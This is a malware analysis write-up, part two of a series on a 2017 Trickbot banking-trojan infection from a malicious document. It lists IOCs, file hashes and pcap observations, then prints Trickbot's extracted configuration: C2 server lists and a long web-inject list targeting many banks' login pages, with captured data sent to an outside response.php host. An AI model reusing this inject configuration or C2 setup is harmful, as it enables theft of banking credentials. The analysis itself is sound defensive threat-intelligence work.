2017-08-30 Trickbot Maldoc – Part Two – Lost in Security (and mostly everything else)

So continuing from my update yesterday (see 2017-08-30 Trickbot Maldoc – Part One), it looks as if sometime last night while working on the writeup, and perhaps again this morning, Trickbot got cheeky and updated itself. It looks as if the file “Atpsijj.exe” is a new file with a different size and hash, and now I have a complete “Modules” folder. From a host perspective, the malware is working pretty much as I described yesterday. From a network communication perspective though, there are some different IP addresses, and from what I was able to determine from looking at the string output from a couple of the different svchost.exe processes, new configuration files. And also as discussed by @dvk01uk here, “file names and URLs have changed.”

For this write-up, the group_tag changed to “kas3.”

For the new artifacts and pcap files, I have appended them to the same Github repo to keep continuity which you can find here.

IOCs:
=====
95.154.199.118 / changetheworld.bit/gate.php?client_id=ABDA76321D1B05B88228B05AD1BF97F2&connected=0&server_port=0&debug=0 (TCP GET)
69.164.196.21 / 89.18.27.34 (TCP DNS)
188.165.62.11:447 (TCP)
194.87.102.167:8082 (TCP)
210.16.101.54:443 (TCP)
91.139.236.92:449 (TCP)

Artifacts:
==========
File name: Atpsijj.exe
File size: 318KB
File path: C:\Users\%username%\AppData\Roaming\winapp\
MD5 hash: 594f7647f9112eae1b35d2e98a5100ac
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: Atpsijj.tmp
File size: 388KB
File path: C:\Users\%username%\AppData\Roaming\winapp\
MD5 hash: 4aba01fdf430dde9e7f150c96ffc3da3
Virustotal: http://virustotal.com/#/file/832b4c16daebe9d600998500c8760aa1cdff06a415754ea0d51057870e96456c/detection
Detection ratio: 16 / 65
First detected: 2017-08-30 16:43:41
Malwr: NA
Reverse.IT: NA

File name: bcClientDllTest64
File size: 279KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\
MD5 hash: f5b87ee9ce30eba4368197daed7d2b8e
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: importDll64
File size: 272KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\
MD5 hash: 12a845c70c71aac5e147b68bc8bd6e2a
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: mailsearcher64
File size: 94KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Module
MD5 hash: 29ca46ad40a1c00997cce962fcd8e308
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: systeminfo64
File size: 86KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Module
MD5 hash: 5d4512296aa66bfc0f2ae610556d84f2
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: dinj
File size: 105KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\injectDll64_configs
MD5 hash: f599f6944a51edc4ff3e944ec4f423df
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: dpost
File size: 240B
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\injectDll64_configs
MD5 hash: 3a4d930528a033021f667f80293024d1
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: sinj
File size: 71KB
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\injectDll64_configs
MD5 hash: 3740299b432212d5a248f7698504449b
Virustotal: NA
Malwr: NA
Reverse.IT: NA

File name: mailconf
File size: 224B
File path: C:\Users\%username%\AppData\Roaming\winapp\Modules\mailsearcher64_configs
MD5 hash: b823efa9f58ea81b9e446bc3151fc630
Virustotal: NA
Malwr: NA
Reverse.IT: NA

Analysis:
=========
Most of the traffic found in the 2017-08-30-Trickbot-4 and 2017-08-30-Trickbot-5 PCAPs that I have seen have been encrypted in one way or another, so there is not much to report here. The only bits that have not been encrypted are the DNS requests using TCP, and some HTTP traffic (including HTTP traffic over a non-standard port) as seen below:

I uploaded the 2017-08-30-Trickbot-4 PCAP to Virustotal (http://virustotal.com/#/file/6bdd211efca8c0bd02e9202de79dedb222fe3f6bd8c50347f9383db3a4dd5269/details) to see what would be picked up by either the Snort or Suricata rulesets. Virustotal picked up the following:

So most likely the TCP DNS requests would have caused the “ETPRO TROJAN Possible Chthonic DNS Lookup” alert that we see in both PCAP files. We also see the Pony-like gate used in the GET requests for the changetheworld.bit request in both PCAPs as well. We also see the use of the “Widgits Pty” SSL in the traffic stream as well.

Another interesting bit was while I had Chrome running with the Barclays login page open, and looking at one of the svchost.exe (PID:2936) processes running, I came across this line when searching for “:8082” (strings file: strings_pid2936):

<dpost>
<handler>http://194.87.102.167:8082</handler>
</dpost>

C:\Users\Bill\AppData\Local
C:\Windows\system32\apphelp.dll
INJ|http://bank.barclays.co.uk/olb/auth/LoginLink.action

The only other thing to note here is that in 2017-08-30-Trickbot-5 PCAP, the communication with the IP address of 91.139.236.92 over port 449 looks to be encrypted:

I was able to find a URL with this IP address in it, and also the name of my system in the strings output of svchost.exe (PID:3024 – strings file: strings_pid3024).

http://91.139.236.92:449/kas3/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2/5/sinj/

[/text]

I also found this IP address when looking for the term “gtag” from this same svchost.exe process.

mcconf
1000044
gtag
gtag
tt0002
servs
c:cf
servs
84.238.198.166:449
91.139.236.92:449
84.40.65.85:449
51.254.164.249:443
188.165.62.15:443
67.21.84.23:443
210.16.102.251:443
188.165.62.8:443
185.147.34.95:443
185.158.115.151:443
104.152.187.28:443
5.152.210.179:443
178.156.202.227:443
216.107.149.57:443
194.87.237.129:443
194.87.235.164:443
93.95.97.180:443
194.87.238.42:443
178.156.202.226:443
185.117.73.4:443
autorun
>]&U
autorun
module
module
name
systeminfo
GetSystemInfo
injectDll
84.238.198.166:449
84.238.198.166:449 91.139.236.92:449 84.40.65.85:449
moduleconfig
mcconf
1000044
gtag
tt0002
servs
84.238.198.166:449
91.139.236.92:449
84.40.65.85:449
51.254.164.249:443
188.165.62.15:443
67.21.84.23:443
210.16.102.251:443
188.165.62.8:443
185.147.34.95:443
185.158.115.151:443
104.152.187.28:443
5.152.210.179:443
178.156.202.227:443
216.107.149.57:443
194.87.237.129:443
194.87.235.164:443
93.95.97.180:443
194.87.238.42:443
178.156.202.226:443
185.117.73.4:443
autorun
module
name
systeminfo
GetSystemInfo
injectDll
66:4
moduleconfig
991.139
autostart
G_08
991.139
.254
62.1
autostart
needinfo
needinfo
name
parentfiles
conf
dinj
moduleconfig
autostart
needinfo
name
file
moduleconfig
autostart
needinfo
name
autoconf
autoconf
conf
file
dinj
period
sinj
sinj
dpost
dpost
162.213.213.223:447
188.165.62.11:447
tart
ssert
expir
expir
1512126932
servconf
auto
servconf
expir
1514678400
plugins
plugins
psrv
file
conf
psrv
peri
188.165.62.11:447
194.87.98.185:447
194.87.102.36:447
194.87.234.22:447
66.85.27.170:447
66.85.27.114:447
moduleconfig
autostart
autostart
needinfo
name
autoconf
conf
dinj
file
dinj
period
sinj
sinj
dpost
dpost

Some other interesting strings from this svchost process are:

<moduleconfig>
  <autostart>yes</autostart>
  <sys>yes</sys>
  <needinfo name="id"/>
  <needinfo name="ip"/>
  <autoconf>
    <conf ctl="dinj" file="dinj" period="20"/>
    <conf ctl="sinj" file="sinj" period="20"/>
    <conf ctl="dpost" file="dpost" period="60"/>
  </autoconf>
</moduleconfig>

v>185.158.115.151:443</srv><srv>104.152.187.28:443</srv><srv>5.152.210.179:443</srv><srv>178.156.202.227:443</srv><srv>216.107.149.57:443</srv><srv>194.87.237.129:443</srv><srv>194.87.235.164:443</srv><srv>93.95.97.180:443</srv><srv>194.87.238.42:443</srv><srv>178.156.202.226:443</srv><srv>185.117.73.4:443</srv></servs><autorun><module name="systeminfo" ctl="GetSystemInfo"/><module name="injectDll"/></autorun></mcconf>

<servconf>
<expir>1514678400</expir>
<plugins>
<psrv>188.165.62.11:447</psrv>
<psrv>194.87.98.185:447</psrv>
<psrv>194.87.102.36:447</psrv>
<psrv>194.87.234.22:447</psrv>
<psrv>66.85.27.170:447</psrv>
<psrv>66.85.27.114:447</psrv>
<psrv>162.213.213.223:447</psrv>
</plugins>
</servconf>
onfig>
42:443178.156.202.226:443185.117.73.4:443
1:443</srv>
<srv>104.152.187.28:443</srv>
<srv>5.152.210.179:443</srv>
<srv>178.156.202.227:443</srv>
<srv>216.107.149.57:443</srv>
<srv>194.87.237.129:443</srv>
<srv>194.87.235.164:443</srv>
<srv>93.95.97.180:443</srv>
<srv>194.87.238.42:443</srv>
<srv>178.156.202.226:443</srv>
<srv>185.117.73.4:443</srv>
</servs>
<autorun>
<module name="systeminfo" ctl="GetSystemInfo"/>
<module name="injectDll"/>
</autorun>
</mcconf>

Lastly, it looks like I was able to find an updated list of sites that Trickbot is monitoring for. This list was pulled from the main svchost process which contains most of the other child svchost process (PID:3024).

<dinj>
<lm>*cey-ebanking.com/CLKCCM/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*netteller.com/login2008/Authentication*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.netteller.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/business/j_security_check*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/business/login/Login.jsp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/business/cts_security_precheck*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.*/LookAndFeel/Common/images/common/share.png?favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.com/pub/html/login.html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.com/pub/html/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/outil/UAUT*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bbvacontinental.pe*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.icgauth.banquepopulaire.fr/WebSSO_BP/_*html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*banquepopulaire.fr*asp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*banquepopulaire.fr/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bbva.*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.caja-ingenieros.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.caja-ingenieros.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://be.caja-ingenieros.es/BEWeb/3025/6025/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.caixa-enginyers.com/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.caixa-enginyers.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bbvanet.com.co*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*allianzbanque.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.inbiz.intesasanpaolo.com/scriptFvcv0/vetrinaFVC/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.inbiz.intesasanpaolo.com/portalEiam0/sma*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.inbiz.intesasanpaolo.com/portalFvcv0/vetrinaFVC/img/layout/footerbg.gif?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bancsabadell.com/cs/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancsabadell.com/txbs/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancsabadell.com/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancosabadellfr.com/cs/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancosabadellfr.com/txbs/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancosabadellfr.com/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.bred.fr/*html</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.bred.fr/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.bred.fr/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*corporatebankingweb/core/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bancopopular.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>
*bancopopular.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancopopular-e.com/eai_logon_ecom/GbpInternetLogonEAI/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bancopopular-e.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.openbank.es*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*tarneaud.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*credit-du-nord.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*smc.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*banque-*.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bmn.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bmn.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.cic.fr/*/authentification.html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.cic.fr/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*cajamar.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*cajamar.es/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*online.bank-abc.com/*/log*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*entreprises*lcl.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*orp/BANKAWAY?Action.CorpUser.Init*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*secure.fundsxpress.com/piles/fxweb.pile/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*secure.fundsxpress.com/*/fx?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*secure.fundsxpress.com/*/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*secure.fundsxpress.com/start/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*secure.fundsxpress.com/favicon.ico?</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.onlinebank.com/*/AOP/*.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.onlinebank.com/*/AOP/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*partnersfcu.org/OnlineBanking/*aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*partnersfcu.org/OnlineBanking/AOP/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.bfsonline.es/BEWeb/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.bfsonline.es/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/bbw/cmserver/welcome*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<di
nj>
<lm>*cetelem.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*cetelem.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.blilk.com/Core/Authentication/MFA*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*creatis.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/wcmfd/wcmpw/CustomerLogin*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*/wcmfd/wcmpw/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
